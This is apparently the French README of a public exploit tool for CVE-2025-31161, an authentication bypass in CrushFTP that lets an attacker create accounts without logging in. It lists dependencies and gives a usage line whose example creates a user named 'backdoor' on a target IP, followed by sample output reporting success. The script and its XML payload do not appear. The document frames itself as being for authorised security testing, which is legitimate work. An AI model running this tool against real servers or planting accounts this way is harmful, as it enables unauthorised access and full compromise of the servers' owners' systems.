CVE-2025-31161 - Exploit de contournement d'authentification pour la création d'utilisateur CrushFTP

📌 Description

Cet exploit Python cible les serveurs CrushFTP vulnérables à la CVE-2025-31161. La vulnérabilité permet la création de comptes utilisateur sans authentification en envoyant une charge utile XML spécialement conçue à l'interface Web, ce qui peut entraîner un compromis total du serveur.

⚠️ Avertissement

Cet outil est destiné uniquement à des tests de sécurité éducatifs et autorisés.
L'utilisation non autorisée contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite est illégale et contraire à l'éthique.

🧰 Prérequis

• Python 3
• pip3
• Modules Python :
  • requests
  • colorama

✅ Installer Python3 et pip3

Debian/Ubuntu :

sudo apt update
sudo apt install python3 python3-pip -y

CentOS/RHEL :

sudo yum install python3 python3-pip -y

macOS (avec Homebrew) :

brew install python3

✅ Installer les dépendances Python

pip3 install requests colorama

🔧 Utilisation

python3 CVE-2025-31161.py --target_host <TARGET_IP> [--port <PORT>] [--target_user <ADMIN>] [--new_user <USERNAME>] [--password <PASSWORD>]

🔍 Exemple

python3 CVE-2025-31161.py --target_host 192.168.1.100 --new_user backdoor --password P@ssw0rd!

🧪 Options de la ligne de commande

🖥️ Exemple de sortie

[+] Preparing Payloads
  [-] Warming up the target...
  [-] Target is up and running
[+] Sending Account Create Request
  [!] User created successfully!

[+] Exploit Complete! You can now login with:
   [*] Username: AuthBypassAccount
   [*] Password: CorrectHorseBatteryStaple

👨‍💻 Auteur

Gaurav Bhattacharjee (G4UR4V007)

📄 Licence

Ce projet est sous licence MIT.